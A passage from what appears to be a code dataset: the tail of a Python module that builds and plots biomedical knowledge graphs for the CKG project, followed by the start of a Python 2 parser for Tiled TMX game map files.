\"PMID:\"+row['PMID']): {'type': 'mentioned_in_publication', 'weight': 0.0, 'width': 1.0, 'source_color': node3_color, 'target_color': node2_color}})\n\n return nodes, relationships\n\n def generate_knowledge_from_interactions(self, df, name):\n nodes = {}\n relationships = {}\n entity = name.split('_')[0].capitalize()\n if 'node1' in df and 'node2' in df and 'score' in df:\n for node1, node2, score in df[['node1', 'node2', 'score']].to_records():\n nodes.update({node1: {'type': entity, 'color': self.colors[entity]}, node2: {'type': entity, 'color': self.colors[entity]}})\n relationships.update({(node1, node2): {'type': 'interacts_with', 'weight': 0.0, 'width': score, 'source_color': self.colors[entity], 'target_color': self.colors[entity]}})\n\n return nodes, relationships\n\n def generate_knowledge_from_enrichment(self, data, name):\n nodes = {}\n relationships = {}\n entity = name.split('_')[0].capitalize()\n node1_color = self.colors[entity] if entity in self.colors else self.default_color\n if isinstance(data, pd.DataFrame):\n aux = data.copy()\n data = {'regulation': aux}\n for g in data:\n df = data[g]\n if 'terms' in df and 'identifiers' in df and 'padj' in df:\n aux = df[df.rejected]\n aux = aux[['terms', 'identifiers', 'padj']]\n for i, row in aux.iterrows():\n ids = row['identifiers'].split(',')\n if ids is not None:\n for i in ids:\n if 'Pathways' in name:\n entity2 = 'Pathway'\n elif 'processes' in name:\n entity2 = 'Biological_process'\n\n node2_color = self.colors[entity2] if entity2 in self.colors else self.default_color\n nodes.update({i: {'type': entity, 'color': node1_color}, row['terms']: {'type': entity2, 'color': node2_color}})\n relationships.update({(i, row['terms']): {'type': 'annotated_in', 'weight': 0.0, 'width': -np.log10(row['padj'])+1, 'source_color': node1_color, 'target_color': node2_color}})\n\n return nodes, relationships\n\n def generate_knowledge_from_dataframes(self):\n graph_rels = {}\n graph_nodes = {}\n for name in self.data:\n df = self.data[name]\n if isinstance(df, pd.DataFrame):\n df = df.dropna()\n if 'associations' in name:\n nodes, rels = self.generate_knowledge_from_associations(df, name)\n graph_nodes.update(nodes)\n graph_rels.update(rels)\n elif 'interaction' in name:\n nodes, rels = self.generate_knowledge_from_interactions(df, name)\n graph_nodes.update(nodes)\n graph_rels.update(rels)\n elif 'enrichment' in name:\n nodes, rels = self.generate_knowledge_from_enrichment(df, name)\n graph_nodes.update(nodes)\n graph_rels.update(rels)\n elif isinstance(df, dict):\n nodes, rels = self.generate_knowledge_from_enrichment(df, name)\n graph_nodes.update(nodes)\n graph_rels.update(rels)\n\n return graph_nodes, graph_rels\n\n def generate_knowledge_from_wgcna(self, data, entity1, entity2, cutoff=0.2):\n nodes = {}\n relationships = {}\n color_dict = color_list.make_color_dict()\n node1_color = self.colors[entity1] if entity1 in self.colors else self.default_color\n node2_color = self.colors[entity2] if entity2 in self.colors else self.default_color\n if 'features_per_module' in data:\n modules = data['features_per_module']\n for i, row in modules.iterrows():\n nodes.update({\"ME\"+row['modColor']: {'type': 'Module', 'color': color_dict[row['modColor']]}, row['name']: {'type': entity2, 'color': node2_color}})\n relationships.update({('Regulated', \"ME\"+row['modColor']): {'type': '', 'weight': 5, 'width': 1.0, 'source_color': self.default_color, 'target_color': color_dict[row['modColor']]}})\n relationships.update({(\"ME\"+row['modColor'], row['name']): {'type': 'CONTAINS', 'weight': 5, 'width': 1.0, 'source_color': color_dict[row['modColor']], 'target_color': node2_color}})\n if 'module_trait_cor' in data and data['module_trait_cor'] is not None:\n correlations = data['module_trait_cor']\n if not correlations.index.is_numeric():\n correlations = correlations.reset_index()\n correlations = correlations.set_index('index').stack().reset_index()\n for i, row in correlations.iterrows():\n if np.abs(row[0]) >= cutoff:\n nodes.update({row['level_1']: {'type': entity1, 'color': node1_color}})\n relationships.update({(row['index'], row['level_1']): {'type': 'correlates', 'weight': row[0], 'width': row[0], 'source_color': color_dict[row['index'].replace('ME', '')], 'target_color': node1_color}})\n\n return nodes, relationships\n\n def generate_knowledge_from_edgelist(self, edgelist, entity1, entity2, source, target, rtype, weight, source_attr=[], target_attr=[]):\n nodes = {}\n relationships = {}\n node1_color = self.colors[entity1] if entity1 in self.colors else self.default_color\n node2_color = self.colors[entity2] if entity2 in self.colors else self.default_color\n edgelist[source] = edgelist[source].astype(str)\n edgelist[target] = edgelist[target].astype(str)\n for i, row in edgelist.iterrows():\n attr1 = {'type': entity1, 'color': node1_color}\n attr1.update({c: row[c] for c in source_attr if c in row})\n attr2 = {'type': entity2, 'color': node2_color}\n attr2.update({c: row[c] for c in target_attr if c in row})\n \n nodes.update({row[source].replace(\"'\", \"\"): attr1, row[target].replace(\"'\", \"\"): attr2})\n relationships.update({(row[source].replace(\"'\", \"\"), row[target].replace(\"'\", \"\")): {'type': rtype, 'source_color': node1_color, 'target_color': node2_color, 'weight': row[weight]}})\n\n self.update_nodes(nodes)\n self.update_relationships(relationships)\n \n\n def generate_knowledge_from_annotations(self, entity1, entity2, filter=None):\n nodes = {}\n relationships = {}\n node1_color = self.colors[entity1] if entity1 in self.colors else self.default_color\n node2_color = self.colors[entity2] if entity2 in self.colors else self.default_color\n if entity2.lower()+'_annotation' in self.data:\n for i, row in self.data[entity2.lower()+'_annotation'].iterrows():\n if len(filter) > 0:\n if row['identifier'] not in filter or row['annotation'] not in filter:\n continue\n nodes.update({row['identifier']: {'type': entity1, 'color': node1_color}, row['annotation']: {'type': entity2, 'color': node2_color}})\n relationships.update({(row['identifier'], row['annotation']): {'type': 'is_annotated', 'source_color': node1_color, 'target_color': node2_color}})\n\n return nodes, relationships\n\n def generate_knowledge_from_similarity(self, entity='Project'):\n nodes = {}\n relationships = {}\n node_color = self.colors[entity] if entity in self.colors else self.default_color\n if 'similar_projects' in self.data:\n similar_projects = pd.DataFrame.from_dict(self.data['similar_projects'])\n for i, row in similar_projects.iterrows():\n nodes.update({row['other']: {'type': entity, 'color': node_color}})\n relationships.update({(row['current'], row['other']): {'type': 'is_similar', 'weight': row['similarity_pearson'], 'width': row['similarity_pearson'], 'source_color': node_color, 'target_color': node_color}})\n\n return nodes, relationships\n\n def generate_knowledge_from_queries(self, entity, queries_results):\n nodes = {}\n relationships = {}\n for node2 in queries_results:\n node1_color = self.colors[entity] if entity in self.colors else self.default_color\n node2_color = self.colors[node2] if node2 in self.colors else self.default_color\n nodes.update({node2: {'color': node2_color, 'type': 'Group'}})\n result = queries_results[node2]\n for i, row in result.iterrows():\n rel_type = row['type'] if 'type' in row else 'associated'\n weight = row['weight'] if 'weight' in row else 5\n nodes.update({row['node1']: {'type': entity, 'color': node1_color}, row['node2'].replace(\"'\", \"\"): {'type': node2, 'color': node2_color}})\n relationships.update({(row['node1'], row['node2'].replace(\"'\", \"\")): {'type': rel_type, 'weight': weight, 'width': weight, 'source_color': node1_color, 'target_color': node2_color}})\n relationships.update({(row['node2'].replace(\"'\", \"\"), node2): {'type': 'is_a', 'weight': 5, 'width': 1.0, 'source_color': node2_color, 'target_color': node2_color}})\n\n return nodes, relationships\n\n def send_query(self, query):\n driver = connector.getGraphDatabaseConnectionConfiguration()\n data = connector.getCursorData(driver, query)\n\n return data\n\n def query_data(self, replace=[]):\n query_data = {}\n try:\n cwd = os.path.dirname(os.path.abspath(__file__))\n cypher_queries = ckg_utils.get_queries(os.path.join(cwd, self.queries_file))\n if cypher_queries is not None:\n for query_name in cypher_queries:\n if 'query_type' in cypher_queries[query_name]:\n if cypher_queries[query_name]['query_type'] == 'knowledge_report':\n query = cypher_queries[query_name]['query']\n for r, by in replace:\n query = query.replace(r, by)\n query_data[query_name] = self.send_query(query)\n except Exception as err:\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n logger.error(\"Reading queries from file {}: {}, file: {},line: {}, err: {}\".format(self.queries_file, sys.exc_info(), fname, exc_tb.tb_lineno, err))\n\n return query_data\n\n def annotate_list(self, query_list, entity_type, attribute='name', queries_file=None, diseases=[], entities=None):\n self.empty_graph()\n if queries_file is None:\n queries_file = 'queries/knowledge_annotation.yml'\n\n if entities is None:\n entities = self.entities\n\n if diseases is None or len(diseases) < 1:\n replace_by = ('DISEASE_COND', '')\n else:\n replace_by = ('DISEASE_COND', 'OR d.name IN {} AND r.score > 1.5'.format(diseases))\n self.keep_nodes.extend(diseases)\n\n query_data = []\n drugs = []\n targets = []\n q = 'NA'\n try:\n if len(query_list) > 1:\n cwd = os.path.dirname(os.path.abspath(__file__))\n cypher_queries = ckg_utils.get_queries(os.path.join(cwd, queries_file))\n if cypher_queries is not None:\n if entity_type.capitalize() in cypher_queries:\n queries = cypher_queries[entity_type.capitalize()]\n for query_name in queries:\n involved_nodes = queries[query_name]['involved_nodes']\n if len(set(involved_nodes).intersection(entities)) > 0 or query_name.capitalize() == entity_type.capitalize():\n query = queries[query_name]['query']\n q = 'NA'\n for q in query.split(';')[:-1]:\n if attribute is None:\n matches = re.finditer(r'(\\w+).ATTRIBUTE', q)\n for matchNum, match in enumerate(matches, start=1):\n var = match.group(1)\n q = q.format(query_list=query_list).replace(\"ATTRIBUTE\", 'name+\"~\"+{}.id'.format(var)).replace(replace_by[0], replace_by[1]).replace('DISEASES', str(diseases)).replace('DRUGS', str(drugs)).replace('TARGETS', str(targets))\n else:\n q = q.format(query_list=query_list).replace(replace_by[0], replace_by[1]).replace('DISEASES', str(diseases)).replace('DRUGS', str(drugs)).replace('TARGETS', str(targets))\n else:\n q = q.format(query_list=query_list).replace(\"ATTRIBUTE\", attribute).replace(replace_by[0], replace_by[1]).replace('DISEASES', str(diseases)).replace('DRUGS', str(drugs)).replace('TARGETS', str(targets))\n data = self.send_query(q)\n if not data.empty:\n if query_name == 'disease' and len(diseases) < 1:\n diseases = data['target'].unique().tolist()\n elif query_name == 'drug':\n drugs = data['target'].unique().tolist()\n elif query_name == 'target':\n targets = data['target'].dropna().unique().tolist()\n query_data.append(data)\n except Exception as err:\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n logger.error(\"Error annotating list. Query: {} from file {}: {}, file: {},line: {}, err: {}\".format(q, queries_file, sys.exc_info(), fname, exc_tb.tb_lineno, err))\n print(\"Error annotating list. Query: {} from file {}: {}, file: {},line: {}, err: {}\".format(q, queries_file, sys.exc_info(), fname, exc_tb.tb_lineno, err))\n\n if len(query_data) > 0:\n self.data = pd.DataFrame().append(query_data)\n for df in query_data:\n if 'source_type' in df and 'target_type' in df:\n entity1 = df['source_type'][0][0]\n entity2 = df['target_type'][0][0]\n if 'rel_type' in df:\n assoc_type = df['rel_type'][0]\n else:\n assoc_type = 'relationship'\n \n if 'weight' in df:\n df['weight'] = df['weight'].fillna(0.5)\n else:\n df['weight'] = 0.5\n self.generate_knowledge_from_edgelist(df, entity1, entity2, source='source', target='target', rtype=assoc_type, weight='weight')\n \n\n def generate_cypher_nodes_list(self):\n nodes = ['\"{}\"'.format(n) for n in self.nodes.keys()]\n nodes = \",\".join(nodes)\n return nodes\n\n def generate_knowledge_graph(self, summarize=True, method='betweenness', inplace=True, num_nodes=15):\n G = nx.DiGraph()\n G.add_nodes_from(self.nodes.items())\n G.add_edges_from(self.relationships.keys())\n nx.set_edge_attributes(G, self.relationships)\n selected_nodes = []\n if summarize and len(G.nodes()) > 1:\n centrality = None\n if method == 'betweenness':\n k = None if len(G.nodes()) < 15000 else 15000\n centrality = nx.betweenness_centrality(G, k=k, weight='weight', normalized=False)\n elif method == 'closeness':\n centrality = nx.closeness_centrality(G, u=None, distance='weight', wf_improved=True)\n elif method == 'pagerank':\n centrality = nx.pagerank(G, alpha=0.95, weight='weight')\n elif method == 'degree':\n centrality = nx.degree_centrality(G)\n\n if centrality is not None:\n nx.set_node_attributes(G, centrality, 'centrality')\n sorted_centrality = sorted(centrality.items(), key=itemgetter(1), reverse=True)\n for node_type in self.entities:\n nodes = [x for x, y in G.nodes(data=True) if 'type' in y and y['type'] == node_type and x not in self.keep_nodes]\n selected_nodes.extend([n for n, c in sorted_centrality if n in nodes][num_nodes:])\n\n if len(selected_nodes) > 0:\n G.remove_nodes_from(selected_nodes)\n G.remove_nodes_from(list(nx.isolates(G)))\n if inplace:\n self.graph = G.copy()\n\n return G\n\n def reduce_to_subgraph(self, nodes, summarize=True):\n valid_nodes = set(nodes).intersection(list(self.nodes.keys()))\n valid_nodes.add(\"Regulated\")\n aux = set()\n self.generate_knowledge_graph()\n for n in valid_nodes:\n if n in self.nodes:\n for n1, n2, attr in self.graph.out_edges(n, data=True):\n aux.add(n1)\n aux.add(n2)\n for n1, n2, attr in self.graph.in_edges(n, data=True):\n aux.add(n1)\n aux.add(n2)\n if self.graph is not None:\n remove = set(self.nodes.keys()).difference(aux.union(valid_nodes))\n self.graph.remove_nodes_from(list(remove))\n self.nodes = dict(self.graph.nodes(data=True))\n self.relationships = {(a, b): c for a, b, c in self.graph.edges(data=True)}\n\n def get_knowledge_graph_plot(self, graph=None):\n if graph is None:\n graph = self.graph.copy()\n title = 'Project {} Knowledge Graph'.format(self.identifier)\n if self.data is not None:\n if 'name' in self.data:\n title = 'Project {} Knowledge Graph'.format(self.data['name'])\n\n args = {'title': title,\n 'node_properties': {},\n 'width': 2000,\n 'height': 2000,\n 'maxLinkWidth': 7,\n 'maxRadius': 20}\n color_selector = \"{'selector': '[name = \\\"KEY\\\"]', 'style': {'font-size': '7px', 'text-opacity': 0.8, 'background-color':'VALUE','width': 50,'height': 50,'background-image':'/assets/graph_icons/ENTITY.png','background-fit': 'cover','opacity':OPACITY}}\"\n stylesheet = [{'selector': 'node', 'style': {'label': 'data(name)', 'opacity': 0.7}},\n {'selector': 'edge', 'style': {'label': 'data(type)',\n 'curve-style': 'unbundled-bezier',\n 'control-point-distance': '30px',\n 'control-point-weight': '0.7',\n 'z-index': 5000,\n 'line-color': '#bdbdbd',\n 'opacity': 0.2,\n 'font-size': '2.5px',\n 'text-opacity': 1,\n 'font-style': \"normal\",\n 'font-weight': \"normal\"}}]\n layout = {'name': 'cose',\n 'idealEdgeLength': 100,\n 'nodeOverlap': 20,\n 'refresh': 20,\n 'randomize': False,\n 'componentSpacing': 100,\n 'nodeRepulsion': 400000,\n 'edgeElasticity': 100,\n 'nestingFactor': 5,\n 'gravity': 80,\n 'numIter': 1000,\n 'initialTemp': 200,\n 'coolingFactor': 0.95,\n 'minTemp': 1.0}\n\n stylesheet.extend([{'selector': '[weight < 0]', 'style': {'line-color': '#3288bd'}}, {'selector': '[weight > 0]', 'style': {'line-color': '#d73027'}}])\n for n, attr in graph.nodes(data=True):\n color = self.default_color\n image = ''\n if 'color' in attr:\n color = attr['color']\n if 'type' in attr:\n image = attr['type']\n opacity = 0.3 if image == 'Module' or image == 'Group' else 1\n stylesheet.append(ast.literal_eval(color_selector.replace(\"KEY\", n.replace(\"'\", \"\")).replace(\"VALUE\", color).replace(\"ENTITY\", image).replace(\"OPACITY\", str(opacity))))\n stylesheet.extend([{'selector': 'node', 'style': {'width': 'mapData(centrality, 0, 1, 15, 30)', 'height': 'mapData(centrality, 0, 1, 15, 30)'}}])\n args['stylesheet'] = stylesheet\n args['layout'] = layout\n\n if graph.has_node('Regulated'):\n graph.remove_node('Regulated')\n nodes_table, edges_table = viz.network_to_tables(graph, source='node1', target='node2')\n nodes_fig_table = viz.get_table(nodes_table, identifier=self.identifier + \"_nodes_table\", args={'title': \"Nodes table\"})\n edges_fig_table = viz.get_table(edges_table, identifier=self.identifier + \"_edges_table\", args={'title': \"Edges table\"})\n cy_elements, mouseover_node = utils.networkx_to_cytoscape(graph)\n #args['mouseover_node'] = mouseover_node\n\n net = {\"notebook\": [cy_elements, stylesheet, layout], \"app\": viz.get_cytoscape_network(cy_elements, self.identifier, args), \"net_tables\": (nodes_table, edges_table), \"net_tables_viz\": (nodes_fig_table, edges_fig_table), \"net_json\": json_graph.node_link_data(graph)}\n\n return net\n\n def generate_knowledge_sankey_plot(self, graph=None):\n remove_edges = []\n if graph is None:\n graph = self.graph.copy()\n new_type_edges = {}\n new_type_nodes = {}\n for n1, n2 in graph.edges():\n if graph.nodes[n1]['type'] == graph.nodes[n2]['type']:\n remove_edges.append((n1, n2))\n else:\n if graph.nodes[n1]['type'] in self.entities:\n color = graph.nodes[n1]['color']\n new_type_edges.update({(n1, graph.nodes[n1]['type']): {'type': 'is_a', 'weight': 0.0, 'width': 1.0, 'source_color': color, 'target_color': self.colors[graph.nodes[n1]['type']]}})\n new_type_nodes.update({graph.nodes[n1]['type']: {'type': 'entity', 'color': self.colors[graph.nodes[n1]['type']]}})\n if graph.nodes[n2]['type'] in self.entities:\n color = graph.nodes[n2]['color']\n new_type_edges.update({(n2, graph.nodes[n2]['type']): {'type': 'is_a', 'weight': 0.0, 'width': 1.0, 'source_color': color, 'target_color': self.colors[graph.nodes[n2]['type']]}})\n new_type_nodes.update({graph.nodes[n2]['type']: {'type': 'entity', 'color': self.colors[graph.nodes[n2]['type']]}})\n\n graph.remove_edges_from(remove_edges)\n graph.add_edges_from(new_type_edges.keys())\n nx.set_edge_attributes(graph, new_type_edges)\n graph.add_nodes_from(new_type_nodes.items())\n df = nx.to_pandas_edgelist(graph).fillna(0.5)\n plot = viz.get_sankey_plot(df, self.identifier, args={'source': 'source',\n 'target': 'target',\n 'source_colors': 'source_color',\n 'target_colors': 'target_color',\n 'hover': 'type',\n 'pad': 10,\n 'weight': 'width',\n 'orientation': 'h',\n 'valueformat': '.0f',\n 'width': 1600,\n 'height': 2200,\n 'font': 10,\n 'title':'Knowledge Graph'})\n\n return plot\n\n def generate_report(self, visualizations=['sankey'], summarize=True, method='betweenness', inplace=True, num_nodes=15):\n report = rp.Report(identifier=\"knowledge\")\n plots = []\n G = None\n if self.graph is None:\n G = self.generate_knowledge_graph(summarize=summarize, method=method, inplace=inplace, num_nodes=num_nodes)\n\n for visualization in visualizations:\n if visualization == 'network':\n plots.append(self.get_knowledge_graph_plot(G))\n elif visualization == 'sankey':\n plots.append(self.generate_knowledge_sankey_plot(G))\n\n report.plots = {(\"Knowledge Graph\", \"Knowledge Graph\"): plots}\n self.report = report\n\n def save_report(self, directory):\n if not os.path.exists(directory):\n os.makedirs(directory)\n if not os.path.exists(os.path.join(directory, \"Knowledge\")):\n os.makedirs(os.path.join(directory, \"Knowledge\"))\n self.report.save_report(directory=os.path.join(directory, \"Knowledge\"))\n\n\nclass ProjectKnowledge(Knowledge):\n\n def __init__(self, identifier, data, nodes={}, relationships={}, colors={}, graph=None, report={}):\n queries_file = 'queries/project_knowledge_cypher.yml'\n Knowledge.__init__(self, identifier, data=data, nodes=nodes, relationships=relationships, queries_file=queries_file, colors=colors, graph=graph, report=report)\n\n def generate_knowledge(self):\n similarity_knowledge = self.generate_knowledge_from_similarity(entity='Project')\n self.nodes.update(similarity_knowledge[0])\n self.relationships.update(similarity_knowledge[1])\n self.nodes.update({self.data[\"name\"]: {\"type\":'project', 'color': self.colors['Project']}, \"Regulated\": {'type': \"connector\", 'color': self.default_color}})\n self.relationships.update({(self.data['name'], 'Regulated'): {'type': 'has', 'weight':5, 'width':1.0, 'source_color': self.colors['Project'], 'target_color': self.default_color}})\n queries_results = self.query_data(replace=[('PROJECTID',self.identifier)])\n queries_knowledge = self.generate_knowledge_from_queries(entity='Project', queries_results=queries_results)\n self.nodes.update(queries_knowledge[0])\n self.keep_nodes = list(queries_knowledge[0].keys())\n self.relationships.update(queries_knowledge[1])\n\nclass ProteomicsKnowledge(Knowledge):\n\n def __init__(self, identifier, data, nodes={}, relationships={}, colors={}, graph=None, report={}):\n queries_file = 'queries/proteomics_knowledge_cypher.yml'\n Knowledge.__init__(self, identifier, data=data, nodes=nodes, relationships=relationships, queries_file=queries_file, colors=colors, graph=graph, report=report)\n\n def generate_knowledge(self):\n regulation_knowledge = self.generate_knowledge_from_regulation(entity='Protein')\n self.nodes = regulation_knowledge[0]\n self.relationships = regulation_knowledge[1]\n #self.nodes.update(correlation_knowledge[0])\n #self.relationships.update(correlation_knowledge[1])\n #nodes = self.generate_cypher_nodes_list()\n #limit_count = 3 if len(nodes)>10 else 1\n #queries_results = self.query_data(replace=[('PROTEINIDS',nodes), ('PROJECTID', self.identifier), ('LIMIT_COUNT', str(limit_count))])\n #queries_knowledge = self.generate_knowledge_from_queries(entity='Protein', queries_results=queries_results)\n #self.nodes.update(queries_knowledge[0])\n #self.relationships.update(queries_knowledge[1])\n df_knowledge = self.generate_knowledge_from_dataframes()\n self.nodes.update(df_knowledge[0])\n self.relationships.update(df_knowledge[1]) \n\nclass ClinicalKnowledge(Knowledge):\n\n def __init__(self, identifier, data, nodes={}, relationships={}, colors={}, graph=None, report={}):\n queries_file = 'queries/clinical_knowledge_cypher.yml'\n Knowledge.__init__(self, identifier, data=data, nodes=nodes, relationships=relationships, queries_file=queries_file, colors=colors, graph=graph, report=report)\n\n def generate_knowledge(self):\n regulation_knowledge = self.generate_knowledge_from_regulation(entity='Clinical_variable')\n #correlation_knowledge = self.genreate_knowledge_from_correlation('Clinical_variable', 'Clinical_variable', filter=regulation_knowledge[0].keys())\n self.nodes = regulation_knowledge[0]\n #self.nodes.update(correlation_knowledge[0])\n self.relationships = regulation_knowledge[1]\n #self.relationships.update(correlation_knowledge[1])\n\n nodes = self.generate_cypher_nodes_list()\n queries_results = self.query_data(replace=[('PROJECTID', nodes)])\n queries_knowledge = self.generate_knowledge_from_queries(entity='Clinical', queries_results=queries_results)\n self.nodes.update(queries_knowledge[0])\n self.relationships.update(queries_knowledge[1])\n \n\nclass MultiOmicsKnowledge(Knowledge):\n\n def __init__(self, identifier, data, nodes={}, relationships={}, colors={}, graph=None, report={}):\n queries_file = 'queries/multiomics_knowledge_cypher.yml'\n Knowledge.__init__(self, identifier, data=data, nodes=nodes, relationships=relationships, queries_file=queries_file, colors=colors, graph=graph, report=report)\n\n def generate_knowledge(self):\n if 'wgcna_wgcna' in self.data:\n for dtype in self.data['wgcna_wgcna']:\n if dtype == 'wgcna-proteomics':\n entity1 = 'Clinical_variable'\n entity2 = 'Protein'\n wgcna_knowledge = self.generate_knowledge_from_wgcna(self.data['wgcna_wgcna'][dtype], entity1, entity2)\n self.nodes.update(wgcna_knowledge[0])\n self.relationships.update(wgcna_knowledge[1])\n elif 'clinical_correlation_multi_correlation' in self.data:\n label = 'clinical_correlation_multi_correlation'\n correlation_knowledge = self.genreate_knowledge_from_correlation('Protein', 'Clinical_variable', filter=self.nodes, label=label)\n self.nodes.update(correlation_knowledge[0])\n self.relationships.update(correlation_knowledge[1])\n","repo_name":"MannLabs/CKG","sub_path":"ckg/report_manager/knowledge.py","file_name":"knowledge.py","file_ext":"py","file_size_in_byte":39898,"program_lang":"python","lang":"en","doc_type":"code","stars":360,"dataset":"github-code","pt":"61"} +{"seq_id":"1184704553","text":"import os\nimport zlib\nimport weakref\nfrom base64 import b64decode\nfrom xml.etree import ElementTree\nfrom itertools import islice, product, ifilter, imap, chain\n\nfrom utils import to_python, unpack_struct, decode_gid,\\\n AnimationFrame, ObjectType, LayerType, FilterIterator\n\n\nclass Element(object):\n description_attribute = None\n\n def __init__(self):\n self.properties = {}\n\n def __unicode__(self):\n return u'<{}@{}>'.format(\n self.__class__.__name__,\n getattr(self, self.description_attribute)\n )\n\n def __repr__(self):\n return self.__unicode__()\n\n def set_property(self, name, value):\n try:\n prepare = getattr(self, 'prepare_prop_{}'.format(name))\n except AttributeError:\n pass\n else:\n value = prepare(value)\n self.properties[name] = value\n\n def set_properties_from_node(self, properties_node):\n if properties_node is None:\n return\n\n iter_children = islice(properties_node.iter(), 1, None)\n for prop in iter_children:\n key = prop.get('name')\n if key in self.properties:\n raise Exception('Property {} is already set on {}.'.format(key, self))\n\n self.set_property(key, prop.get('value'))\n\n def set_attr(self, attr_name, value):\n # omit all attributes that aren't explicitly set on instance\n if not hasattr(self, attr_name):\n return\n try:\n # do some custom processing if required\n prepare = getattr(self, 'prepare_attr_{}'.format(attr_name))\n except AttributeError:\n # or just cast to the predefined type if custom method wasn't provided\n value = to_python(attr_name, value)\n else:\n value = prepare(value)\n setattr(self, attr_name, value)\n\n def set_attrs_from_node(self, node):\n for attr_name, value in node.items():\n self.set_attr(attr_name, value)\n\n def init_from_node(self, node):\n self.set_attrs_from_node(node)\n self.set_properties_from_node(node.find('properties'))\n\n\nclass ChildMixin(object):\n __slots__ = ('_parent', )\n\n def __init__(self, parent):\n super(ChildMixin, self).__init__()\n self._parent = weakref.ref(parent)\n\n @property\n def parent(self):\n return self._parent()\n\n @property\n def root(self):\n node = self\n while node.parent:\n node = node.parent\n return node\n\n\nclass AbsoluteSourceMixin(object):\n def prepare_attr_source(self, value):\n base_dir = os.path.dirname(self.root.source)\n return os.path.abspath(os.path.join(base_dir, value))\n\n\nclass ObjectElement(ChildMixin, Element):\n description_attribute = 'type'\n\n def __init__(self, node, parent):\n super(ObjectElement, self).__init__(parent)\n self.type = ObjectType.Rectangle\n self.flags = None\n\n self.x = 0\n self.y = self.prepare_attr_y(0)\n self.id = None\n self.gid = None\n self.width = 0\n self.height = 0\n self.name = None\n self.points = None\n self.visible = True\n self.rotation = None\n\n self.init_from_node(node)\n # TODO: testing required\n\n @property\n def pos(self):\n # TODO: in orthogonal orientation object's image is aligned to the bottom-left\n return self.x, self.y\n\n @property\n def size(self):\n return self.width, self.height\n\n @property\n def tile(self):\n if self.gid is None:\n return\n return self.root.tiles[self.gid]\n\n @property\n def image(self):\n if self.gid is None:\n return\n return self.tile.image\n\n def init_from_node(self, node):\n super(ObjectElement, self).init_from_node(node)\n\n for object_type in ObjectType:\n object_node = node.find(object_type)\n if object_node is not None:\n self.type = object_type\n self.set_attrs_from_node(object_node)\n break\n\n def prepare_attr_gid(self, gid):\n gid = int(gid)\n map_obj = self.root\n gid, self.flags = decode_gid(gid)\n # object uses tile as a image\n self.type = ObjectType.Tile\n if gid not in map_obj.tiles:\n # but the gid isn't registered yet\n tileset = map_obj.get_tileset_by_gid(gid)\n tileset.add_tile(None, gid=gid, width=tileset.tilewidth, height=tileset.tileheight)\n return gid\n\n def prepare_attr_y(self, y):\n y = float(y)\n map_obj = self.root\n if map_obj.invert_y:\n y = map_obj.size[1] - y\n return y\n\n def prepare_attr_points(self, value):\n points = []\n x, y = self.pos\n for cords in value.split():\n # local cords relative to object cords\n local_x, local_y = cords.split(',')\n points.append((x + float(local_x), y + float(local_y)))\n return tuple(points)\n\n @staticmethod\n def prepare_attr_width(width):\n return float(width)\n\n @staticmethod\n def prepare_attr_height(height):\n return float(height)\n\n\nclass ObjectGroup(ChildMixin, Element):\n description_attribute = 'name'\n\n def __init__(self, node, parent):\n super(ObjectGroup, self).__init__(parent)\n\n self.name = None\n self.objects = []\n self.opacity = 1\n self.offsetx = 0\n self.offsety = 0\n self.visible = True\n # Enum?\n self.draworder = 'topdown'\n\n self.init_from_node(node)\n\n def __iter__(self):\n return iter(self.objects)\n\n def init_from_node(self, node):\n super(ObjectGroup, self).init_from_node(node)\n\n for object_node in node.findall('object'):\n self.add_object(object_node)\n\n def add_object(self, object_node):\n self.objects.append(self.parent.objectelement_cls(node=object_node, parent=self))\n\n\nclass ImageLayer(ChildMixin, AbsoluteSourceMixin, Element):\n description_attribute = 'name'\n\n def __init__(self, node, parent):\n super(ImageLayer, self).__init__(parent)\n self.image = None\n\n self.name = None\n self.offsetx = 0\n # default values aren't stored in the .tmx file\n self.offsety = self.prepare_attr_offsety(0)\n self.opacity = 1\n self.source = None\n self.visible = True\n\n self.init_from_node(node)\n\n def prepare_attr_offsety(self, offsety):\n offsety = float(offsety)\n map_obj = self.root\n if map_obj.invert_y:\n offsety = map_obj.size[1] - offsety\n return offsety\n\n @property\n def pos(self):\n return self.offsetx, self.offsety\n\n def init_from_node(self, node):\n super(ImageLayer, self).init_from_node(node)\n self.set_attrs_from_node(node.find('image'))\n\n\nclass TileElement(ChildMixin, AbsoluteSourceMixin, Element):\n description_attribute = 'gid'\n\n def __init__(self, node, parent, **kwargs):\n super(TileElement, self).__init__(parent)\n self.uvs = None\n self.image = None\n\n self.width = 0\n self.height = 0\n self.source = None\n\n self.id = None\n self.gid = None\n\n if node is not None:\n self.init_from_node(node)\n\n for name, value in kwargs.iteritems():\n self.set_attr(name, value)\n\n @property\n def size(self):\n return self.width, self.height\n\n @property\n def rect(self):\n uvs = self.uvs\n if not uvs:\n return\n return uvs[0], uvs[1], self.width, self.height\n\n def init_from_node(self, node):\n super(TileElement, self).init_from_node(node)\n\n animation_node = node.find('animation')\n if animation_node is not None:\n self.handle_animation(animation_node)\n\n image_node = node.find('image')\n if image_node is not None:\n self.set_attrs_from_node(image_node)\n else:\n self.width = self.parent.tilewidth\n self.height = self.parent.tileheight\n\n def prepare_attr_id(self, local_id):\n local_id = int(local_id)\n self.gid = self.parent.firstgid + local_id\n return local_id\n\n def handle_animation(self, node):\n frames = []\n map_obj = self.root\n tileset = self.parent\n for frame_node in node.findall('frame'):\n tileid = to_python('tileid', frame_node.get('tileid'))\n gid = tileset.firstgid + tileid\n # add tile required to display animation\n if gid not in map_obj.tiles:\n tileset.add_tile(None, gid=gid, width=tileset.tilewidth, height=tileset.tileheight)\n duration = to_python('duration', frame_node.get('duration'))\n frames.append(AnimationFrame(gid, duration, map_obj))\n self.set_property('animation_frames', tuple(frames))\n\n def set_uvs(self, uvs):\n if self.root.invert_tileset_y:\n x, y = uvs\n uvs = (x, self.height - y)\n self.uvs = uvs\n\n\nclass Cell(ChildMixin):\n __slots__ = ('x', 'y', 'gid', 'flags')\n\n def __init__(self, parent, gid, x, y, flags):\n super(Cell, self).__init__(parent)\n self.gid = gid\n self.flags = flags\n\n tile = self.tile\n x = x * tile.width\n y = y * tile.height\n\n map_obj = self.root\n if map_obj.invert_y:\n y = map_obj.size[1] - y\n\n self.x = x\n self.y = y\n\n def __unicode__(self):\n return u'{}@{}'.format(self.__class__.__name__, self.gid)\n\n def 